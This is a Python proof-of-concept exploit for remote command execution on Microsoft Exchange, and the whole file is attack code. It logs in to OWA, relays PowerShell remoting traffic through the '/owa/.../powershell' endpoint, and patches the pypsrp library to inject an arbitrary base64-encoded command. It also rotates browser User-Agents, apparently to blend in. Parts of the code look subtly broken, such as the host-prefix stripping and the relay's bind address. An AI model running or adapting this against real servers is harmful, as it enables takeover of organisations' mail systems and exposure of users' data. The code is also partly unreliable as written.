import threading
import argparse
import os
import base64
import requests
from http.server import HTTPServer, BaseHTTPRequestHandler
from socketserver import ThreadingMixIn
import random

# Disable warnings for SSL certificate verification
requests.packages.urllib3.disable_warnings(
    requests.packages.urllib3.exceptions.InsecureRequestWarning
)

class ThreadedHTTPServer(ThreadingMixIn, HTTPServer):
    """Threaded HTTP Server for handling incoming requests."""
    pass

class ExchangeExploitHandler(BaseHTTPRequestHandler):
    """Handler for processing incoming requests to the RPC server."""
    def do_POST(self):
        length = int(self.headers["content-length"])
        post_data = self.rfile.read(length).decode()

        # Headers for the PowerShell request
        headers = {
            "User-Agent": user_agent,
            "Accept": "application/soap+xml",
            "Content-Type": "application/soap+xml;charset=UTF-8",
            "X-OWA-ExplicitLogonUser": "owa/mastermailbox@outlook.com",
        }

        powershell_endpoint = f"https://{host}/owa/mastermailbox%40outlook.com/powershell"
        resp = s.post(powershell_endpoint, data=post_data, headers=headers, verify=False)

        self.send_response(200)
        self.end_headers()
        self.wfile.write(resp.content)

def login(username, password):
    """Log in to the Exchange server."""
    url = f"https://{host}/owa/auth.owa"
    data = {
        "destination": f"https://{host}/owa",
        "flags": "4",
        "forcedownlevel": "0",
        "username": username,
        "password": password,
        "isUtf8": "1",
    }
    response = s.post(url, data=data, verify=False)
    
    if response.status_code == 200:
        print("[+] Successfully logged in to Exchange server.")
    else:
        print("[-] Failed to log in.")

def start_rpc_server(server_ip, server_port):
    """Start the RPC server for handling PowerShell requests."""
    server = ThreadedHTTPServer((server_ip, server_port), ExchangeExploitHandler)
    server_thread = threading.Thread(target=server.serve_forever)
    server_thread.daemon = True
    server_thread.start()
    print(f"[*] Starting RPC server on {server_ip}:{server_port}")

def exploit(username):
    """Execute the PowerShell command via WSMan."""
    from pypsrp.powershell import PowerShell, RunspacePool
    from pypsrp.wsman import WSMan

    wsman = WSMan(
        server_ip,
        username=username,
        password="random",
        ssl=False,
        port=server_port,
        auth="basic",
        encryption="never",
    )

    with RunspacePool(wsman, configuration_name="Microsoft.Exchange") as pool:
        ps = PowerShell(pool)
        ps.add_cmdlet("Get-Mailbox").add_argument("-Anr").invoke()
        errors = "\n".join([str(e) for e in ps.streams.error])

        if errors:
            print(f"[-] Error encountered: {errors}")
        else:
            print("[+] Successfully executed the command.")

def powershell_base64encode(cmd):
    """Encode the command in base64 format for PowerShell."""
    return base64.b64encode(cmd.encode("UTF-16LE")).decode()

def modify_pypsrp(cmd):
    """Modify the pypsrp messages to include the base64-encoded command."""
    with open("pypsrp/messages-bk.py") as f:
        msg = f.read()

    with open("pypsrp/messages.py", "w") as f:
        msg = msg.replace(
            "$$POWERSHELL_ENCODE_PAYLOAD_HERE$$", powershell_base64encode(cmd)
        )
        f.write(msg)

def main():
    parser = argparse.ArgumentParser(description='Microsoft Exchange RCE PoC')
    parser.add_argument("-H", dest="host", required=True, help='Host in the format "https://192.168.0.1"')
    parser.add_argument("-u", dest="user", required=True, help="Username")
    parser.add_argument("-p", dest="passwd", required=True, help="Password")
    parser.add_argument("-c", dest="cmd_file", default="cmd", help='Command file to run. Default: "cmd"')
    parser.add_argument("-P", dest="port", type=int, required=True, help="Port number")

    args = parser.parse_args()
    
    # Extract server IP and port
    global host, server_ip, server_port, s, user_agent
    host = args.host.strip(r"https?://")
    user = args.user
    passwd = args.passwd
    cmd_file = args.cmd_file
    server_port = args.port

    # List of User-Agent (You can add more)
    user_agents = [
        "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.5195.54 Safari/537.36",
        "Mozilla/5.0 (Windows NT 10.0; Win64; x64) Gecko/20100101 Firefox/91.0",
        "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1.1 Safari/605.1.15",
        "Mozilla/5.0 (Linux; Android 9; Pixel 3 XL) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Mobile Safari/537.36",
    ]
    user_agent = random.choice(user_agents)

    # Read the command from the file
    if os.path.isfile(cmd_file):
        with open(cmd_file) as f:
            cmd = f.read()
    else:
        print(f"[-] Command file '{cmd_file}' not found.")
        return

    login(user, passwd)
    start_rpc_server(host, int(server_port))
    modify_pypsrp(cmd)
    exploit(user)

if __name__ == "__main__":
    s = requests.Session()
    main()
